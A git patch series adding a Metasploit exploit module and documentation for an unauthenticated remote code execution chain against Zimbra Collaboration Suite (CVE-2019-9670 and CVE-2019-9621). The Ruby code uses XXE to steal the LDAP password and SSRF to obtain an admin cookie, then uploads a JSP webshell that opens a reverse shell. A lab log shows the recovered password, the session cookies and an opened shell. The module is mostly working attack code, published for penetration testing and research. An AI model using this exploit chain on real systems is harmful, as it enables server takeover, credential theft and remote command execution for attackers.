From 0873ba7ac161d209661ba0af946a30238cbd7ecb Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 1 Apr 2019 07:32:57 -0500 Subject: [PATCH 1/6] Add Zimbra XXE to RCE module --- modules/exploits/linux/http/zimbra_xxe_rce.rb | 248 ++++++++++++++++++ 1 file changed, 248 insertions(+) create mode 100644 modules/exploits/linux/http/zimbra_xxe_rce.rb diff --git a/modules/exploits/linux/http/zimbra_xxe_rce.rb b/modules/exploits/linux/http/zimbra_xxe_rce.rb new file mode 100644 index 0000000000..7e1a9b3212 --- /dev/null +++ b/modules/exploits/linux/http/zimbra_xxe_rce.rb @@ -0,0 +1,248 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zimbra Collaboration Autodiscover', + 'Description' => %q{ + This module exploits an XML external entity vulnerability and a + server side request forgery to get unauthenticated code execution + on Zimbra Collaboration Suite. The XML external entity vulnerability + in the Autodiscover Servlet is used to read a Zimbra configuration + file that contains an ldap password for the 'zimbra' account. The + zimbra credentials are then used to get a user authentication cookie + with an AuthRequest message. Using the user cookie, a server side request + forgery in the Proxy Servlet is used to proxy an AuthRequest with + the 'zimbra' credentials to the admin port to retrieve an admin + cookie. After gaining an admin cookie the Client Upload servlet is + used to upload a jsp webshell that can be triggered from the web + server to get command execution on the host. The issues reportedly + affects Zimbra Collaboration Suite v8.5 to v8.7.11. + + This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 + UBUNTU16_64 FOSS edition. + }, + 'Author' => + [ + 'An Trinh', # Discovery + 'Khanh Viet Pham', # Discovery + 'Jacob Robles' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2019-9670'], + ['CVE', '2019-9621'], + ['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html'] + ], + 'Platform' => ['linux'], + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultOptions' => { + 'RPORT' => 8443, + 'SSL' => true, + 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' + }, + 'Stance' => Stance::Aggressive, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 13 2019' # Blog post date + )) + + register_options [ + OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']), + OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10]) + ] + end + + def xxe_req(data) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/autodiscover'), + 'encode_params' => false, + 'data' => data + }) + fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503 + res + end + + def soap_discover(check_soap=false) + xml = Document.new + + xml.add_element('Autodiscover') + xml.root.add_element('Request') + + req = xml.root.elements[1] + + req.add_element('EMailAddress') + req.add_element('AcceptableResponseSchema') + + sub = 'REPLACE' + req.elements['EMailAddress'].text = Faker::Internet.email + req.elements['AcceptableResponseSchema'].text = sub + + doc = rand_text_alpha_lower(4..8) + entity = rand_text_alpha_lower(4..8) + local_file = '/etc/passwd' + + res = "" + if check_soap + local = "file://#{local_file}" + res << "]>" + res << "#{xml.to_s.sub(sub, "&#{entity};")}" + else + local = "http://#{srvhost_addr}:#{srvport}#{@service_path}" + res << "" + res << "%#{entity};]>" + res << "#{xml.to_s.sub(sub, "&#{@ent_data};")}" + end + res + end + + def soap_auth(zimbra_user, zimbra_pass, admin=true) + urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount' + xml = Document.new + + xml.add_element( + 'soap:Envelope', + {'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'} + ) + + xml.root.add_element('soap:Body') + body = xml.root.elements[1] + body.add_element( + 'AuthRequest', + {'xmlns' => urn} + ) + + zimbra_acc = body.elements[1] + zimbra_acc.add_element( + 'account', + {'by' => 'adminName'} + ) + zimbra_acc.add_element('password') + + zimbra_acc.elements['account'].text = "#{zimbra_user}" + zimbra_acc.elements['password'].text = "#{zimbra_pass}" + + xml.to_s + end + + def cookie_req(data) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/service/soap/'), + 'data' => data + }) + fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200 + res + end + + def proxy_req(data, auth_cookie) + target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}" + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/service/proxy/'), + 'vars_get' => {'target' => target}, + 'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}", + 'data' => data, + 'headers' => {'Host' => "#{datastore['RHOST']}:7071"} + }) + fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200 + res + end + + def upload_file(file_name, contents, cookie) + data = Rex::MIME::Message.new + data.add_part(file_name, nil, nil, 'form-data; name="filename1"') + data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"") + data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"') + post_data = data.to_s + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'), + 'ctype' => 'multipart/form-data; boundary=' + data.bound, + 'data' => post_data, + 'cookie' => cookie + }) + end + + def check + res = xxe_req(soap_discover(true)) + if res.body =~ /zimbra/ + return CheckCode::Vulnerable + end + + CheckCode::Unknown + end + + def on_request_uri(cli, req) + ent_file = rand_text_alpha_lower(4..8) + ent_eval = rand_text_alpha_lower(4..8) + + dtd = <<~HERE + + '>"> + %#{ent_eval}; + HERE + send_response(cli, dtd) + end + + def primer + datastore['SSL'] = @ssl + res = xxe_req(soap_discover) + fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m + password = $1 + username = 'zimbra' + + print_good("Password found: #{password}") + + data = soap_auth(username, password, false) + res = cookie_req(data) + + fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/ + auth_cookie = $1 + + print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}") + + data = soap_auth(username, password) + res = proxy_req(data, auth_cookie) + + fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/ + admin_cookie = $1 + + print_good("Admin cookie retrieved: #{admin_cookie}") + + stager_name = "#{rand_text_alpha(8..16)}.jsp" + print_status('Uploading jsp shell') + res = upload_file(stager_name, payload.generate, admin_cookie) + + fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200 + + print_status("Executing payload on /downloads/#{stager_name}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"), + 'cookie' => admin_cookie + }) + end + + def exploit + @ent_data = rand_text_alpha_lower(4..8) + @ssl = datastore['SSL'] + datastore['SSL'] = false + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + end +end From 7441cd7fa33c9257df9880c6c5ed4272abc0b729 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 1 Apr 2019 07:33:27 -0500 Subject: [PATCH 2/6] Add Zimbra Doc --- .../exploit/linux/http/zimbra_xxe_rce.md | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/zimbra_xxe_rce.md diff --git a/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md b/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md new file mode 100644 index 0000000000..dcc2335683 --- /dev/null +++ b/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md @@ -0,0 +1,48 @@ +## Description + +This module exploits an XML external entity vulnerability and a server side request forgery to get unauthenticated code execution on Zimbra Collaboration Suite. The XML external entity vulnerability in the Autodiscover Servlet is used to read a Zimbra configuration file that contains an ldap password for the 'zimbra' account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a server side request forgery in the Proxy Servlet is used to proxy an AuthRequest with the 'zimbra' credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the ClientUploader is used to upload a jsp webshell that can be triggered from the web server to get command execution on the host. The issues reportedly affects Zimbra Collaboration Suite v8.5 to v8.7.11. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition. + +## Vulnerable Application + +Zimbra Collaboration Suite v8.5 to v8.7.11. + +[Zimbra 8.7.1 GA FOSS Edition](https://files.zimbra.com/downloads/8.7.1_GA/zcs-8.7.1_GA_1670.UBUNTU16_64.20161025045114.tgz) + +[Installation](https://zimbra.github.io/installguides/latest/single.html#Installing_Zimbra_Collaboration_Software) + +## Verification Steps + +1. `./msfconsole -q` +2. `use exploit/linux/http/zimbra_xxe_rce` +3. `set rhosts ` +4. `set lhost ` +5. `exploit` + +## Scenarios + +### Zimbra 8.7.1 GA 1670 FOSS edition Tested on Ubuntu 16.04.6 LTS + +``` +msf5 exploit(linux/http/zimbra_xxe_rce) > exploit + +[*] Started reverse TCP handler on 172.22.222.136:4444 +[*] Using URL: http://0.0.0.0:8080/2tQ75DxRvaeGRSP +[*] Local IP: http://192.168.171.150:8080/2tQ75DxRvaeGRSP +[*] Server started. +[+] Password found: Syz7fOPJI +[+] User cookie retrieved: ZM_AUTH_TOKEN=0_c6df3ed73afbefd7eff40eb9f6999794ebf764b5_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313535343239343539303239353b747970653d363a7a696d6272613b753d313a613b7469643d393a3538303338373138373b; +[+] Admin cookie retrieved: ZM_ADMIN_AUTH_TOKEN=0_c1c8a6c715eb8f55c14aa63e82a8ff64e4fbe279_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313535343136343939303333353b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d383a36303437383736333b; +[*] Uploading jsp shell +[*] Executing payload on /downloads/XFlHBolHjLB.jsp +[*] Command shell session 1 opened (172.22.222.136:4444 -> 172.22.222.111:53746) at 2019-04-01 07:29:51 -0500 +[*] Server stopped. + +whoami +zimbra +uname -a +Linux zimbra.mylocaldomain.local 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux +../bin/zmcontrol -v +Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition. +exit +[*] 172.22.222.111 - Command shell session 1 closed. +``` From 51d121695311822bde951b2319402c0f84493fba Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 1 Apr 2019 07:48:26 -0500 Subject: [PATCH 3/6] Update module name --- modules/exploits/linux/http/zimbra_xxe_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/zimbra_xxe_rce.rb b/modules/exploits/linux/http/zimbra_xxe_rce.rb index 7e1a9b3212..bb8ebd3734 100644 --- a/modules/exploits/linux/http/zimbra_xxe_rce.rb +++ b/modules/exploits/linux/http/zimbra_xxe_rce.rb @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Zimbra Collaboration Autodiscover', + 'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF', 'Description' => %q{ This module exploits an XML external entity vulnerability and a server side request forgery to get unauthenticated code execution From c07b01573470d08655815d87e608137815559aca Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 1 Apr 2019 11:39:40 -0500 Subject: [PATCH 4/6] File cleanup --- modules/exploits/linux/http/zimbra_xxe_rce.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/exploits/linux/http/zimbra_xxe_rce.rb b/modules/exploits/linux/http/zimbra_xxe_rce.rb index bb8ebd3734..66858dc3b9 100644 --- a/modules/exploits/linux/http/zimbra_xxe_rce.rb +++ b/modules/exploits/linux/http/zimbra_xxe_rce.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::FileDropper include REXML def initialize(info = {}) @@ -230,6 +231,11 @@ class MetasploitModule < Msf::Exploit::Remote res = upload_file(stager_name, payload.generate, admin_cookie) fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200 + # Only shell sessions are supported + register_file_for_cleanup("`find /opt/zimbra/ -type f -regex '.*downloads/.*#{stager_name}'`") + register_file_for_cleanup("`find /opt/zimbra/ -type f -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class'`") + register_file_for_cleanup("`find /opt/zimbra/ -type f -regex '.*downloads/.*#{stager_name[0...-4]}.*class'`") + register_file_for_cleanup("`find /opt/zimbra/ -type f -regex '.*downloads/.*#{stager_name[0...-4]}.*java'`") print_status("Executing payload on /downloads/#{stager_name}") res = send_request_cgi({ From 69062bb2207a9360c262477b62c1e4a33e1523f0 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 1 Apr 2019 17:05:42 -0500 Subject: [PATCH 5/6] Syntax fixes --- modules/exploits/linux/http/zimbra_xxe_rce.rb | 40 ++++++++++--------- 1 file changed, 22 insertions(+), 18 deletions(-) diff --git a/modules/exploits/linux/http/zimbra_xxe_rce.rb b/modules/exploits/linux/http/zimbra_xxe_rce.rb index 66858dc3b9..49bcb9a178 100644 --- a/modules/exploits/linux/http/zimbra_xxe_rce.rb +++ b/modules/exploits/linux/http/zimbra_xxe_rce.rb @@ -9,7 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper - include REXML def initialize(info = {}) super(update_info(info, @@ -58,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Stance' => Stance::Aggressive, 'DefaultTarget' => 0, - 'DisclosureDate' => 'Mar 13 2019' # Blog post date + 'DisclosureDate' => '2019-03-13' # Blog post date )) register_options [ @@ -79,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote end def soap_discover(check_soap=false) - xml = Document.new + xml = REXML::Document.new xml.add_element('Autodiscover') xml.root.add_element('Request') @@ -89,9 +88,9 @@ class MetasploitModule < Msf::Exploit::Remote req.add_element('EMailAddress') req.add_element('AcceptableResponseSchema') - sub = 'REPLACE' + replace_text = 'REPLACE' req.elements['EMailAddress'].text = Faker::Internet.email - req.elements['AcceptableResponseSchema'].text = sub + req.elements['AcceptableResponseSchema'].text = replace_text doc = rand_text_alpha_lower(4..8) entity = rand_text_alpha_lower(4..8) @@ -101,19 +100,19 @@ class MetasploitModule < Msf::Exploit::Remote if check_soap local = "file://#{local_file}" res << "]>" - res << "#{xml.to_s.sub(sub, "&#{entity};")}" + res << "#{xml.to_s.sub(replace_text, "&#{entity};")}" else local = "http://#{srvhost_addr}:#{srvport}#{@service_path}" res << "" res << "%#{entity};]>" - res << "#{xml.to_s.sub(sub, "&#{@ent_data};")}" + res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}" end res end def soap_auth(zimbra_user, zimbra_pass, admin=true) urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount' - xml = Document.new + xml = REXML::Document.new xml.add_element( 'soap:Envelope', @@ -134,8 +133,8 @@ class MetasploitModule < Msf::Exploit::Remote ) zimbra_acc.add_element('password') - zimbra_acc.elements['account'].text = "#{zimbra_user}" - zimbra_acc.elements['password'].text = "#{zimbra_pass}" + zimbra_acc.elements['account'].text = zimbra_user + zimbra_acc.elements['password'].text = zimbra_pass xml.to_s end @@ -174,15 +173,20 @@ class MetasploitModule < Msf::Exploit::Remote send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'), - 'ctype' => 'multipart/form-data; boundary=' + data.bound, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie }) end def check - res = xxe_req(soap_discover(true)) - if res.body =~ /zimbra/ + begin + res = xxe_req(soap_discover(true)) + rescue Msf::Exploit::Failed + return CheckCode::Unknown + end + + if res.body.include?('zimbra') return CheckCode::Vulnerable end @@ -228,14 +232,14 @@ class MetasploitModule < Msf::Exploit::Remote stager_name = "#{rand_text_alpha(8..16)}.jsp" print_status('Uploading jsp shell') - res = upload_file(stager_name, payload.generate, admin_cookie) + res = upload_file(stager_name, payload.encoded, admin_cookie) fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200 # Only shell sessions are supported - register_file_for_cleanup("`find /opt/zimbra/ -type f -regex '.*downloads/.*#{stager_name}'`") - register_file_for_cleanup("`find /opt/zimbra/ -type f -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class'`") - register_file_for_cleanup("`find /opt/zimbra/ -type f -regex '.*downloads/.*#{stager_name[0...-4]}.*class'`") - register_file_for_cleanup("`find /opt/zimbra/ -type f -regex '.*downloads/.*#{stager_name[0...-4]}.*java'`") + register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)") + register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)") + register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)") + register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)") print_status("Executing payload on /downloads/#{stager_name}") res = send_request_cgi({ From 3d662bd962e1aabb09c5c62c0b2562fcd6ed1a28 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 1 Apr 2019 17:21:23 -0500 Subject: [PATCH 6/6] Fix words because words... --- documentation/modules/exploit/linux/http/zimbra_xxe_rce.md | 2 +- modules/exploits/linux/http/zimbra_xxe_rce.rb | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md b/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md index dcc2335683..32c77f26fe 100644 --- a/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md +++ b/documentation/modules/exploit/linux/http/zimbra_xxe_rce.md @@ -1,6 +1,6 @@ ## Description -This module exploits an XML external entity vulnerability and a server side request forgery to get unauthenticated code execution on Zimbra Collaboration Suite. The XML external entity vulnerability in the Autodiscover Servlet is used to read a Zimbra configuration file that contains an ldap password for the 'zimbra' account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a server side request forgery in the Proxy Servlet is used to proxy an AuthRequest with the 'zimbra' credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the ClientUploader is used to upload a jsp webshell that can be triggered from the web server to get command execution on the host. The issues reportedly affects Zimbra Collaboration Suite v8.5 to v8.7.11. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition. +This module exploits an XML external entity vulnerability and a server side request forgery to get unauthenticated code execution on Zimbra Collaboration Suite. The XML external entity vulnerability in the Autodiscover Servlet is used to read a Zimbra configuration file that contains an LDAP password for the 'zimbra' account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a server side request forgery in the Proxy Servlet is used to proxy an AuthRequest with the 'zimbra' credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the ClientUploader is used to upload a JSP webshell that can be triggered from the web server to get command execution on the host. The issues reportedly affect Zimbra Collaboration Suite v8.5 to v8.7.11. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition. ## Vulnerable Application diff --git a/modules/exploits/linux/http/zimbra_xxe_rce.rb b/modules/exploits/linux/http/zimbra_xxe_rce.rb index 49bcb9a178..2e5a98c058 100644 --- a/modules/exploits/linux/http/zimbra_xxe_rce.rb +++ b/modules/exploits/linux/http/zimbra_xxe_rce.rb @@ -18,15 +18,15 @@ class MetasploitModule < Msf::Exploit::Remote server side request forgery to get unauthenticated code execution on Zimbra Collaboration Suite. The XML external entity vulnerability in the Autodiscover Servlet is used to read a Zimbra configuration - file that contains an ldap password for the 'zimbra' account. The + file that contains an LDAP password for the 'zimbra' account. The zimbra credentials are then used to get a user authentication cookie with an AuthRequest message. Using the user cookie, a server side request forgery in the Proxy Servlet is used to proxy an AuthRequest with the 'zimbra' credentials to the admin port to retrieve an admin cookie. After gaining an admin cookie the Client Upload servlet is - used to upload a jsp webshell that can be triggered from the web + used to upload a JSP webshell that can be triggered from the web server to get command execution on the host. The issues reportedly - affects Zimbra Collaboration Suite v8.5 to v8.7.11. + affect Zimbra Collaboration Suite v8.5 to v8.7.11. This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 UBUNTU16_64 FOSS edition.